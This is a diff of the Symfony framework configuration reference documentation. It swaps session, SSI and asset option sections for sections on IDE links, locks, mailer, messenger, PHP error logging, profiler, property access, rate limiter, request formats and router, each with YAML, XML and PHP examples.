+placeholder for the line number (percentage signs (``%``) must be escaped by
+doubling them to prevent Symfony from interpreting them as container parameters).
 
 .. configuration-block::
 
@@ -1639,12 +1947,7 @@ and also to configure the session handler with a DSN:
 
         # config/packages/framework.yaml
         framework:
-            session:
-                # a few possible examples
-                handler_id: 'redis://localhost'
-                handler_id: '%env(REDIS_URL)%'
-                handler_id: '%env(DATABASE_URL)%'
-                handler_id: 'file://%kernel.project_dir%/var/sessions'
+            ide: 'myide://open?url=file://%%f&line=%%l'
 
     .. code-block:: xml
 
@@ -1656,268 +1959,290 @@ and also to configure the session handler with a DSN:
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-            <framework:config>
-                <!-- a few possible examples -->
-                <framework:session enabled="true"
-                    handler-id="redis://localhost"
-                    handler-id="%env(REDIS_URL)%"
-                    handler-id="%env(DATABASE_URL)%"
-                    handler-id="file://%kernel.project_dir%/var/sessions"/>
-            </framework:config>
+
+            <framework:config ide="myide://open?url=file://%%f&line=%%l"/>
         </container>
 
     .. code-block:: php
 
         // config/packages/framework.php
-        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework): void {
-            // ...
-
-            $framework->session()
-                // a few possible examples
-                ->handlerId('redis://localhost')
-                ->handlerId(env('REDIS_URL'))
-                ->handlerId(env('DATABASE_URL'))
-                ->handlerId('file://%kernel.project_dir%/var/sessions');
+            $framework->ide('myide://open?url=file://%%f&line=%%l');
         };
 
+Since every developer uses a different IDE, the recommended way to enable this
+feature is to configure it on a system level. First, you can define this option
+in the ``SYMFONY_IDE`` environment variable, which Symfony reads automatically
+when ``framework.ide`` config is not set.
+
+Another alternative is to set the ``xdebug.file_link_format`` option in your
+``php.ini`` configuration file. The format to use is the same as for the
+``framework.ide`` option, but without the need to escape the percent signs
+(``%``) by doubling them:
+
+.. code-block:: ini
+
+    // example for PhpStorm
+    xdebug.file_link_format="phpstorm://open?file=%f&line=%l"
+
+    // example for PhpStorm with Jetbrains Toolbox
+    xdebug.file_link_format="jetbrains://phpstorm/navigate/reference?project=example&path=%f:%l"
+
+    // example for Sublime Text
+    xdebug.file_link_format="subl://open?url=file://%f&line=%l"
+
 .. note::
 
-    Supported DSN protocols are the following:
+    If both ``framework.ide`` and ``xdebug.file_link_format`` are defined,
+    Symfony uses the value of the ``xdebug.file_link_format`` option.
 
-    * ``file``
-    * ``redis``
-    * ``rediss`` (Redis over TLS)
-    * ``memcached`` (requires :doc:`symfony/cache </components/cache>`)
-    * ``pdo_oci`` (requires :doc:`doctrine/dbal </doctrine/dbal>`)
-    * ``mssql``
-    * ``mysql``
-    * ``mysql2``
-    * ``pgsql``
-    * ``postgres``
-    * ``postgresql``
-    * ``sqlsrv``
-    * ``sqlite``
-    * ``sqlite3``
+.. tip::
 
-.. _name:
+    Setting the ``xdebug.file_link_format`` ini option works even if the Xdebug
+    extension is not enabled.
 
-name
-....
+.. tip::
 
-**type**: ``string``
+    When running your app in a container or in a virtual machine, you can tell
+    Symfony to map files from the guest to the host by changing their prefix.
+    This map should be specified at the end of the URL template, using ``&`` and
+    ``>`` as guest-to-host separators:
 
-This specifies the name of the session cookie.
+    .. code-block:: text
 
-If not set, ``php.ini``'s `session.name`_ directive will be relied on.
+        // /path/to/guest/.../file will be opened
+        // as /path/to/host/.../file on the host
+        // and /var/www/app/ as /projects/my_project/ also
+        'myide://%%f:%%l&/path/to/guest/>/path/to/host/&/var/www/app/>/projects/my_project/&...'
 
-cookie_lifetime
-...............
+        // example for PhpStorm
+        'phpstorm://open?file=%%f&line=%%l&/var/www/app/>/projects/my_project/'
 
-**type**: ``integer``
+.. _reference-lock:
 
-This determines the lifetime of the session - in seconds.
-Setting this value to ``0`` means the cookie is valid for
-the length of the browser session.
+lock
+~~~~
 
-If not set, ``php.ini``'s `session.cookie_lifetime`_ directive will be relied on.
+**type**: ``string`` | ``array``
 
-cookie_path
-...........
+The default lock adapter. If not defined, the value is set to ``semaphore`` when
+available, or to ``flock`` otherwise. Store's DSN are also allowed.
 
-**type**: ``string``
+.. _reference-lock-enabled:
 
-This determines the path to set in the session cookie.
+enabled
+.......
 
-If not set, ``php.ini``'s `session.cookie_path`_ directive will be relied on.
+**type**: ``boolean`` **default**: ``true``
 
-cache_limiter
-.............
+Whether to enable the support for lock or not. This setting is
+automatically set to ``true`` when one of the child settings is configured.
 
-**type**: ``string`` **default**: ``0``
+.. _reference-lock-resources:
+
+resources
+.........
 
-If set to ``0``, Symfony won't set any particular header related to the cache
-and it will rely on ``php.ini``'s `session.cache_limiter`_ directive.
+**type**: ``array``
 
-Unlike the other session options, ``cache_limiter`` is set as a regular
-:ref:`container parameter <configuration-parameters>`:
+A map of lock stores to be created by the framework extension, with
+the name as key and DSN as value:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-        # config/services.yaml
-        parameters:
-            session.storage.options:
-                cache_limiter: 0
+        # config/packages/lock.yaml
+        framework:
+            lock: '%env(LOCK_DSN)%'
 
     .. code-block:: xml
 
-        <!-- config/services.xml -->
+        <!-- config/packages/lock.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
-            <parameters>
-                <parameter key="session.storage.options" type="collection">
-                    <parameter key="cache_limiter">0</parameter>
-                </parameter>
-            </parameters>
+            <framework:config>
+                <framework:lock>
+                    <framework:resource name="default">%env(LOCK_DSN)%</framework:resource>
+                </framework:lock>
+            </framework:config>
         </container>
 
     .. code-block:: php
 
-        // config/services.php
-        $container->setParameter('session.storage.options', [
-            'cache_limiter' => 0,
-        ]);
+        // config/packages/lock.php
+        use Symfony\Config\FrameworkConfig;
 
-Be aware that if you configure it, you'll have to set other session-related options
-as parameters as well.
+        return static function (FrameworkConfig $framework): void {
+            $framework->lock()
+                ->resource('default', [env('LOCK_DSN')]);
+        };
 
-cookie_domain
-.............
+.. seealso::
 
-**type**: ``string``
+    For more details, see :doc:`/lock`.
 
-This determines the domain to set in the session cookie.
+.. _reference-lock-resources-name:
 
-If not set, ``php.ini``'s `session.cookie_domain`_ directive will be relied on.
+name
+""""
 
-cookie_samesite
-...............
+**type**: ``prototype``
 
-**type**: ``string`` or ``null`` **default**: ``null``
+Name of the lock you want to create.
 
-It controls the way cookies are sent when the HTTP request did not originate
-from the same domain that is associated with the cookies. Setting this option is
-recommended to mitigate `CSRF security attacks`_.
+mailer
+~~~~~~
 
-By default, browsers send all cookies related to the domain of the HTTP request.
-This may be a problem for example when you visit a forum and some malicious
-comment includes a link like ``https://some-bank.com/?send_money_to=attacker&amount=1000``.
-If you were previously logged into your bank website, the browser will send all
-those cookies when making that HTTP request.
+.. _mailer-dsn:
 
-The possible values for this option are:
+dsn
+...
 
-* ``null``, use ``php.ini``'s `session.cookie_samesite`_ directive.
-* ``'none'`` (or the ``Symfony\Component\HttpFoundation\Cookie::SAMESITE_NONE`` constant), use it to allow
-  sending of cookies when the HTTP request originated from a different domain
-  (previously this was the default behavior of null, but in newer browsers ``'lax'``
-  would be applied when the header has not been set)
-* ``'strict'`` (or the ``Cookie::SAMESITE_STRICT`` constant), use it to never
-  send any cookie when the HTTP request did not originate from the same domain.
-* ``'lax'`` (or the ``Cookie::SAMESITE_LAX`` constant), use it to allow sending
-  cookies when the request originated from a different domain, but only when the
-  user consciously made the request (by clicking a link or submitting a form
-  with the ``GET`` method).
+**type**: ``string`` **default**: ``null``
 
-cookie_secure
-.............
+The DSN used by the mailer. When several DSN may be used, use
+``transports`` option (see below) instead.
 
-**type**: ``boolean`` or ``'auto'``
+envelope
+........
 
-This determines whether cookies should only be sent over secure connections. In
-addition to ``true`` and ``false``, there's a special ``'auto'`` value that
-means ``true`` for HTTPS requests and ``false`` for HTTP requests.
+recipients
+""""""""""
 
-If not set, ``php.ini``'s `session.cookie_secure`_ directive will be relied on.
+**type**: ``array``
 
-cookie_httponly
-...............
+The "envelope recipient" which is used as the value of ``RCPT TO`` during the
+the `SMTP session`_. This value overrides any other recipient set in the code.
 
-**type**: ``boolean`` **default**: ``true``
+.. configuration-block::
 
-This determines whether cookies should only be accessible through the HTTP
-protocol. This means that the cookie won't be accessible by scripting
-languages, such as JavaScript. This setting can effectively help to reduce
-identity theft through :ref:`XSS attacks <xss-attacks>`.
+    .. code-block:: yaml
 
-gc_divisor
-..........
+        # config/packages/mailer.yaml
+        framework:
+            mailer:
+                dsn: 'smtp://localhost:25'
+                envelope:
+                    recipients: ['admin@symfony.com', 'lead@symfony.com']
 
-**type**: ``integer``
+    .. code-block:: xml
 
-See `gc_probability`_.
+        <!-- config/packages/mailer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+            <framework:config>
+                <framework:mailer dsn="smtp://localhost:25">
+                    <framework:envelope>
+                        <framework:recipient>admin@symfony.com</framework:recipient>
+                        <framework:recipient>lead@symfony.com</framework:recipient>
+                    </framework:envelope>
+                </framework:mailer>
+            </framework:config>
+        </container>
 
-If not set, ``php.ini``'s `session.gc_divisor`_ directive will be relied on.
+    .. code-block:: php
 
-gc_probability
-..............
+        // config/packages/mailer.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-**type**: ``integer``
+        return static function (ContainerConfigurator $container): void {
+            $container->extension('framework', [
+                'mailer' => [
+                    'dsn' => 'smtp://localhost:25',
+                    'envelope' => [
+                        'recipients' => [
+                            'admin@symfony.com',
+                            'lead@symfony.com',
+                        ],
+                    ],
+                ],
+            ]);
+        };
 
-This defines the probability that the garbage collector (GC) process is
-started on every session initialization. The probability is calculated by
-using ``gc_probability`` / ``gc_divisor``, e.g. 1/100 means there is a 1%
-chance that the GC process will start on each request.
+sender
+""""""
 
-If not set, Symfony will use the value of the `session.gc_probability`_ directive
-in the ``php.ini`` configuration file.
+**type**: ``string``
 
-.. versionadded:: 7.2
+The "envelope sender" which is used as the value of ``MAIL FROM`` during the
+`SMTP session`_. This value overrides any other sender set in the code.
 
-    Relying on ``php.ini``'s directive as default for ``gc_probability`` was
-    introduced in Symfony 7.2.
+.. _mailer-headers:
 
-gc_maxlifetime
-..............
+headers
+.......
 
-**type**: ``integer``
+**type**: ``array``
 
-This determines the number of seconds after which data will be seen as "garbage"
-and potentially cleaned up. Garbage collection may occur during session
-start and depends on `gc_divisor`_ and `gc_probability`_.
+Headers to add to emails. The key (``name`` attribute in xml format) is the
+header name and value the header value.
 
-If not set, ``php.ini``'s `session.gc_maxlifetime`_ directive will be relied on.
+.. seealso::
 
-sid_length
-..........
+    For more information, see :ref:`Configuring Emails Globally <mailer-configure-email-globally>`
 
-**type**: ``integer``
+message_bus
+...........
 
-This determines the length of session ID string, which can be an integer between
-``22`` and ``256`` (both inclusive), ``32`` being the recommended value. Longer
-session IDs are harder to guess.
+**type**: ``string`` **default**: ``null`` or default bus if Messenger component is installed
 
-If not set, ``php.ini``'s `session.sid_length`_ directive will be relied on.
+Service identifier of the message bus to use when using the
+:doc:`Messenger component </messenger>` (e.g. ``messenger.default_bus``).
 
-.. deprecated:: 7.2
+transports
+..........
 
-    The ``sid_length`` option was deprecated in Symfony 7.2. No alternative is
-    provided as PHP 8.4 has deprecated the related option.
+**type**: ``array``
 
-sid_bits_per_character
-......................
+A :ref:`list of DSN <multiple-email-transports>` that can be used by the
+mailer. A transport name is the key and the dsn is the value.
 
-**type**: ``integer``
+messenger
+~~~~~~~~~
 
-This determines the number of bits in the encoded session ID character. The possible
-values are ``4`` (0-9, a-f), ``5`` (0-9, a-v), and ``6`` (0-9, a-z, A-Z, "-", ",").
-The more bits results in stronger session ID. ``5`` is recommended value for
-most environments.
+enabled
+.......
 
-If not set, ``php.ini``'s `session.sid_bits_per_character`_ directive will be relied on.
+**type**: ``boolean`` **default**: ``true``
 
-.. deprecated:: 7.2
+Whether to enable or not Messenger.
 
-    The ``sid_bits_per_character`` option was deprecated in Symfony 7.2. No alternative
-    is provided as PHP 8.4 has deprecated the related option.
+.. seealso::
 
-save_path
-.........
+    For more details, see the :doc:`Messenger component </messenger>`
+    documentation.
 
-**type**: ``string`` | ``null`` **default**: ``%kernel.cache_dir%/sessions``
+php_errors
+~~~~~~~~~~
 
-This determines the argument to be passed to the save handler. If you choose
-the default file handler, this is the path where the session files are created.
+log
+...
 
-If ``null``, ``php.ini``'s `session.save_path`_ directive will be relied on:
+**type**: ``boolean`` | ``int`` | ``array<int, string>`` **default**: ``true``
+
+Use the application logger instead of the PHP logger for logging PHP errors.
+When an integer value is used, it defines a bitmask of PHP errors that will
+be logged. Those integer values must be the same used in the
+`error_reporting PHP option`_. The default log levels will be used for each
+PHP error.
+When a boolean value is used, ``true`` enables logging for all PHP errors
+while ``false`` disables logging entirely.
+
+This option also accepts a map of PHP errors to log levels:
 
 .. configuration-block::
 
@@ -1925,8 +2250,23 @@ If ``null``, ``php.ini``'s `session.save_path`_ directive will be relied on:
 
         # config/packages/framework.yaml
         framework:
-            session:
-                save_path: ~
+            php_errors:
+                log:
+                    !php/const \E_DEPRECATED: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_USER_DEPRECATED: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_NOTICE: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_USER_NOTICE: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_STRICT: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_WARNING: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_USER_WARNING: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_COMPILE_WARNING: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_CORE_WARNING: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_USER_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
+                    !php/const \E_RECOVERABLE_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
+                    !php/const \E_COMPILE_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
+                    !php/const \E_PARSE: !php/const Psr\Log\LogLevel::CRITICAL
+                    !php/const \E_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
+                    !php/const \E_CORE_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
 
     .. code-block:: xml
 
@@ -1940,282 +2280,225 @@ If ``null``, ``php.ini``'s `session.save_path`_ directive will be relied on:
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <framework:session save-path="null"/>
+                <!-- in XML configuration you cannot use PHP constants as the value of
+                     the 'type' attribute, which makes this format way less readable.
+                     Consider using YAML or PHP for this configuration -->
+                <framework:log type="8" logLevel="error"/>
+                <framework:log type="2" logLevel="error"/>
+                <!-- ... -->
             </framework:config>
         </container>
 
     .. code-block:: php
 
         // config/packages/framework.php
+        use Psr\Log\LogLevel;
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework): void {
-            $framework->session()
-                ->savePath(null);
+            $framework->phpErrors()->log(\E_DEPRECATED, LogLevel::ERROR);
+            $framework->phpErrors()->log(\E_USER_DEPRECATED, LogLevel::ERROR);
+            // ...
         };
 
-.. _reference-session-metadata-update-threshold:
-
-metadata_update_threshold
-.........................
+throw
+.....
 
-**type**: ``integer`` **default**: ``0``
+**type**: ``boolean`` **default**: ``%kernel.debug%``
 
-This is how many seconds to wait between updating/writing the session metadata.
-This can be useful if, for some reason, you want to limit the frequency at which
-the session persists, instead of doing that on every request.
+Throw PHP errors as ``\ErrorException`` instances. The parameter
+``debug.error_handler.throw_at`` controls the threshold.
 
-.. _reference-session-enabled:
+profiler
+~~~~~~~~
 
-enabled
+collect
 .......
 
 **type**: ``boolean`` **default**: ``true``
 
-Whether to enable the session support in the framework.
+This option configures the way the profiler behaves when it is enabled. If set
+to ``true``, the profiler collects data for all requests. If you want to only
+collect information on-demand, you can set the ``collect`` flag to ``false`` and
+activate the data collectors manually::
 
-.. configuration-block::
+    $profiler->enable();
 
-    .. code-block:: yaml
+collect_parameter
+.................
 
-        # config/packages/framework.yaml
-        framework:
-            session:
-                enabled: true
+**type**: ``string`` **default**: ``null``
 
-    .. code-block:: xml
+This specifies name of a query parameter, a body parameter or a request attribute
+used to enable or disable collection of data by the profiler for each request.
+Combine it with the ``collect`` option to enable/disable the profiler on demand:
 
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+* If the ``collect`` option is set to ``true`` but this parameter exists in a
+  request and has any value other than ``true``, ``yes``, ``on`` or ``1``, the
+  request data will not be collected;
+* If the ``collect`` option is set to ``false``, but this parameter exists in a
+  request and has value of ``true``, ``yes``, ``on`` or ``1``, the request data
+  will be collected.
 
-            <framework:config>
-                <framework:session enabled="true"/>
-            </framework:config>
-        </container>
+.. _collect_serializer_data:
 
-    .. code-block:: php
+collect_serializer_data
+.......................
 
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
+**type**: ``boolean`` **default**: ``false``
 
-        return static function (FrameworkConfig $framework): void {
-            $framework->session()
-                ->enabled(true);
-        };
+Set this option to ``true`` to enable the serializer data collector and its
+profiler panel. When this option is ``true``, all normalizers and encoders are
+decorated by traceable implementations that collect profiling information about them.
 
-use_cookies
-...........
+.. _profiler-dsn:
 
-**type**: ``boolean``
+dsn
+...
 
-This specifies if the session ID is stored on the client side using cookies or
-not.
+**type**: ``string`` **default**: ``file:%kernel.cache_dir%/profiler``
 
-If not set, ``php.ini``'s `session.use_cookies`_ directive will be relied on.
+The DSN where to store the profiling information.
 
-ssi
-~~~
+.. _reference-profiler-enabled:
 
 enabled
 .......
 
 **type**: ``boolean`` **default**: ``false``
 
-Whether to enable or not SSI support in your application.
-
-assets
-~~~~~~
-
-.. _reference-assets-base-path:
+The profiler can be enabled by setting this option to ``true``. When you
+install it using Symfony Flex, the profiler is enabled in the ``dev``
+and ``test`` environments.
 
-base_path
-.........
+.. note::
 
-**type**: ``string``
+    The profiler works independently from the Web Developer Toolbar, see
+    the :doc:`WebProfilerBundle configuration </reference/configuration/web_profiler>`
+    on how to disable/enable the toolbar.
 
-This option allows you to define a base path to be used for assets:
+only_exceptions
+...............
 
-.. configuration-block::
+**type**: ``boolean`` **default**: ``false``
 
-    .. code-block:: yaml
+When this is set to ``true``, the profiler will only be enabled when an
+exception is thrown during the handling of the request.
 
-        # config/packages/framework.yaml
-        framework:
-            # ...
-            assets:
-                base_path: '/images'
+.. _only_master_requests:
 
-    .. code-block:: xml
+only_main_requests
+..................
 
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+**type**: ``boolean`` **default**: ``false``
 
-            <framework:config>
-                <framework:assets base-path="/images"/>
-            </framework:config>
-        </container>
+When this is set to ``true``, the profiler will only be enabled on the main
+requests (and not on the subrequests).
 
-    .. code-block:: php
+property_access
+~~~~~~~~~~~~~~~
 
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
+magic_call
+..........
 
-        return static function (FrameworkConfig $framework): void {
-            // ...
-            $framework->assets()
-                ->basePath('/images');
-        };
+**type**: ``boolean`` **default**: ``false``
 
-.. _reference-templating-base-urls:
-.. _reference-assets-base-urls:
+When enabled, the ``property_accessor`` service uses PHP's
+:ref:`magic __call() method <components-property-access-magic-call>` when
+its ``getValue()`` method is called.
 
-base_urls
+magic_get
 .........
 
-**type**: ``array``
-
-This option allows you to define base URLs to be used for assets.
-If multiple base URLs are provided, Symfony will select one from the
-collection each time it generates an asset's path:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            # ...
-            assets:
-                base_urls:
-                    - 'http://cdn.example.com/'
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <framework:assets base-url="http://cdn.example.com/"/>
-            </framework:config>
-        </container>
+**type**: ``boolean`` **default**: ``true``
 
-    .. code-block:: php
+When enabled, the ``property_accessor`` service uses PHP's
+:ref:`magic __get() method <components-property-access-magic-get>` when
+its ``getValue()`` method is called.
 
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
+magic_set
+.........
 
-        return static function (FrameworkConfig $framework): void {
-            // ...
-            $framework->assets()
-                ->baseUrls(['http://cdn.example.com/']);
-        };
+**type**: ``boolean`` **default**: ``true``
 
-.. _reference-framework-assets-packages:
+When enabled, the ``property_accessor`` service uses PHP's
+:ref:`magic __set() method <components-property-access-writing-to-objects>` when
+its ``setValue()`` method is called.
 
-packages
-........
+throw_exception_on_invalid_index
+................................
 
-You can group assets into packages, to specify different base URLs for them:
+**type**: ``boolean`` **default**: ``false``
 
-.. configuration-block::
+When enabled, the ``property_accessor`` service throws an exception when you
+try to access an invalid index of an array.
 
-    .. code-block:: yaml
+throw_exception_on_invalid_property_path
+........................................
 
-        # config/packages/framework.yaml
-        framework:
-            # ...
-            assets:
-                packages:
-                    avatars:
-                        base_urls: 'http://static_cdn.example.com/avatars'
+**type**: ``boolean`` **default**: ``true``
 
-    .. code-block:: xml
+When enabled, the ``property_accessor`` service throws an exception when you
+try to access an invalid property path of an object.
 
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+property_info
+~~~~~~~~~~~~~
 
-            <framework:config>
-                <framework:assets>
-                    <framework:package
-                        name="avatars"
-                        base-url="http://static_cdn.example.com/avatars"/>
-                </framework:assets>
-            </framework:config>
-        </container>
+.. _reference-property-info-enabled:
 
-    .. code-block:: php
+enabled
+.......
 
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
+**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
 
-        return static function (FrameworkConfig $framework): void {
-            // ...
-            $framework->assets()
-                ->package('avatars')
-                    ->baseUrls(['http://static_cdn.example.com/avatars']);
-        };
+rate_limiter
+~~~~~~~~~~~~
 
-Now you can use the ``avatars`` package in your templates:
+.. _reference-rate-limiter-name:
 
-.. code-block:: html+twig
+name
+....
 
-    <img src="{{ asset('...', 'avatars') }}">
+**type**: ``prototype``
 
-Each package can configure the following options:
+Name of the rate limiter you want to create.
 
-* :ref:`base_path <reference-assets-base-path>`
-* :ref:`base_urls <reference-assets-base-urls>`
-* :ref:`version_strategy <reference-assets-version-strategy>`
-* :ref:`version <reference-framework-assets-version>`
-* :ref:`version_format <reference-assets-version-format>`
-* :ref:`json_manifest_path <reference-assets-json-manifest-path>`
-* :ref:`strict_mode <reference-assets-strict-mode>`
+lock_factory
+""""""""""""
 
-.. _reference-framework-assets-version:
-.. _ref-framework-assets-version:
+**type**: ``string`` **default:** ``lock.factory``
 
-version
-.......
+The service that is used to create a lock. The service has to be an instance of
+the :class:`Symfony\\Component\\Lock\\LockFactory` class.
 
-**type**: ``string``
+policy
+""""""
 
-This option is used to *bust* the cache on assets by globally adding a query
-parameter to all rendered asset paths (e.g. ``/images/logo.png?v2``). This
-applies only to assets rendered via the Twig ``asset()`` function (or PHP
-equivalent).
+**type**: ``string`` **required**
 
-For example, suppose you have the following:
+The name of the rate limiting algorithm to use. Example names are ``fixed_window``,
+``sliding_window`` and ``no_limit``. See :ref:`Rate Limiter Policies <rate-limiter-policies>`)
+for more information.
 
-.. code-block:: html+twig
+request
+~~~~~~~
 
-    <img src="{{ asset('images/logo.png') }}" alt="Symfony!"/>
+formats
+.......
 
-By default, this will render a path to your image such as ``/images/logo.png``.
-Now, activate the ``version`` option:
+**type**: ``array`` **default**: ``[]``
+
+This setting is used to associate additional request formats (e.g. ``html``)
+to one or more mime types (e.g. ``text/html``), which will allow you to use the
+format & mime types to call
+:method:`Request::getFormat($mimeType) <Symfony\\Component\\HttpFoundation\\Request::getFormat>` or
+:method:`Request::getMimeType($format) <Symfony\\Component\\HttpFoundation\\Request::getMimeType>`.
+
+In practice, this is important because Symfony uses it to automatically set the
+``Content-Type`` header on the ``Response`` (if you don't explicitly set one).
+If you pass an array of mime types, the first will be used for the header.
+
+To configure a ``jsonp`` format:
 
 .. configuration-block::
 
@@ -2223,23 +2506,29 @@ Now, activate the ``version`` option:
 
         # config/packages/framework.yaml
         framework:
-            # ...
-            assets:
-                version: 'v2'
+            request:
+                formats:
+                    jsonp: 'application/javascript'
 
     .. code-block:: xml
 
         <!-- config/packages/framework.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
+
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:framework="http://symfony.com/schema/dic/symfony"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <framework:assets version="v2"/>
+                <framework:request>
+                    <framework:format name="jsonp">
+                        <framework:mime-type>application/javascript</framework:mime-type>
+                    </framework:format>
+                </framework:request>
             </framework:config>
         </container>
 
@@ -2249,583 +2538,464 @@ Now, activate the ``version`` option:
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework): void {
-            // ...
-            $framework->assets()
-                ->version('v2');
+            $framework->request()
+                ->format('jsonp', 'application/javascript');
         };
 
-Now, the same asset will be rendered as ``/images/logo.png?v2`` If you use
-this feature, you **must** manually increment the ``version`` value
-before each deployment so that the query parameters change.
-
-You can also control how the query string works via the `version_format`_
-option.
-
-.. note::
-
-    This parameter cannot be set at the same time as ``version_strategy`` or ``json_manifest_path``.
-
-.. tip::
-
-    As with all settings, you can use a parameter as value for the
-    ``version``. This makes it easier to increment the cache on each
-    deployment.
-
-.. _reference-templating-version-format:
-.. _reference-assets-version-format:
-
-version_format
-..............
-
-**type**: ``string`` **default**: ``%%s?%%s``
-
-This specifies a :phpfunction:`sprintf` pattern that will be used with the
-`version`_ option to construct an asset's path. By default, the pattern
-adds the asset's version as a query string. For example, if
-``version_format`` is set to ``%%s?version=%%s`` and ``version``
-is set to ``5``, the asset's path would be ``/images/logo.png?version=5``.
-
-.. note::
-
-    All percentage signs (``%``) in the format string must be doubled to
-    escape the character. Without escaping, values might inadvertently be
-    interpreted as :ref:`service-container-parameters`.
+router
+~~~~~~
 
-.. tip::
+cache_dir
+.........
 
-    Some CDN's do not support cache-busting via query strings, so injecting
-    the version into the actual file path is necessary. Thankfully,
-    ``version_format`` is not limited to producing versioned query
-    strings.
+**type**: ``string`` **default**: ``%kernel.cache_dir%``
 
-    The pattern receives the asset's original path and version as its first
-    and second parameters, respectively. Since the asset's path is one
-    parameter, you cannot modify it in-place (e.g. ``/images/logo-v5.png``);
-    however, you can prefix the asset's path using a pattern of
-    ``version-%%2$s/%%1$s``, which would result in the path
-    ``version-5/images/logo.png``.
+The directory where routing information will be cached. Can be set to
+``~`` (``null``) to disable route caching.
 
-    URL rewrite rules could then be used to disregard the version prefix
-    before serving the asset. Alternatively, you could copy assets to the
-    appropriate version path as part of your deployment process and forgot
-    any URL rewriting. The latter option is useful if you would like older
-    asset versions to remain accessible at their original URL.
+.. deprecated:: 7.1
 
-.. _reference-assets-version-strategy:
-.. _reference-templating-version-strategy:
